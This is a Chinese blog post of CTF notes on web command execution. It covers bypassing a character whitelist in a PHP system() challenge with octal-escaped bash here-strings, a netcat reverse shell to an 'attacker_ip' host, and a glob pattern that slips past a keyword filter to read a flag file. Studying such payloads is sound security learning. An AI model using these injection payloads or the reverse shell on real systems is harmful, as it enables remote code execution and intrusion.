Web命令执行笔记(持续更新)

Web命令执行笔记

会将web命令执行的题目放到这篇博客来记录,方便自己日后查阅。

XYCTF-ezRCE(只允许数字、$、<、\)

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
  1. 八进制转义序列: 八进制转义序列以反斜杠 \ 开头,后面跟着一到三个八进制数字(0-7)。例如,\101 表示ASCII字符'A'(十进制的65)。
  2. 十六进制转义序列: 十六进制转义序列以 \x\X 开头,后面跟着一到两个十六进制数字(0-9,A-F,a-f)。例如,\x41\X41 都表示字符 'A'。

$'\154\163'就可以执行ls命令,第一个$用来转义,后面是ls

<<<:这是 Bash 中的 "here string" 语法,它允许你将一个字符串传递给一个命令作为输入,而不是从文件中读取或作为命令行参数。

$0<<<'ls'

$0<<<$'\154\163' #第二行比第一行多一个$,这个$是转义的意思。

$0其实就是脚本本身的名字,在命令行中,它一般是bash

所以$0<<<$'\154\163'其实就是bash<<<$'\154\163'

这行代码 bash<<<$'\154\163' 是在Bash shell中使用Here String的一种方式,用于向Bash直接传递一个包含转义序列的字符串作为输入。

  • bash: 指的是Bash shell本身,这里作为接收输入的命令。
  • <<<: Here String操作符,它允许你将跟在其后的字符串作为命令的标准输入。
  • $'...': 这种引号内的字符串允许使用C语言风格的转义序列。\154\163 分别代表ASCII码的八进制表示,对应字符'l'(小写的L)和's'。

因此,$'\154\163' 解释后就是字符串 "ls"。所以整行命令的意思是直接通过Bash执行字符串 "ls" 作为命令输入,等同于在终端直接输入 ls 命令,通常用于列出当前目录下的文件和目录。

?cmd=$0<<<$'\143\141\164\040\057\52' #就是在执行$0<<<'cat fl*'

更多用法和更详细的解释:https://xz.aliyun.com/t/12242

ez?Make

命令执行,是个黑盒,ban了很多关键字。

方法一:反弹shell

首先能用which nc来看看有没有nc功能。

image-20240502114242704

#接着就是在服务器上监听端口
nc -lvp 2122
#这里,-l 表示监听模式,-v 为详细输出,-p 4444 指定监听的端口号。

#如果目标是Linux系统,命令可能像这样:
nc attacker_ip 2122 -e sh
#这里,attacker_ip 是攻击者的IP地址,-e 参数后面跟着要执行的shell程序路径。

方法二:绕过

cd .. && cd .. && cd .. &&more [e-h][k-m][^b-z][e-h]
#cd切换到根目录,然后在用more命令进行读取,题目中ban了flag等字符,这里用正则表达式来进行匹配,其中[^b-z]是只不匹配b-z的字符。
posted @   山西小嫦娥  阅读(61)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示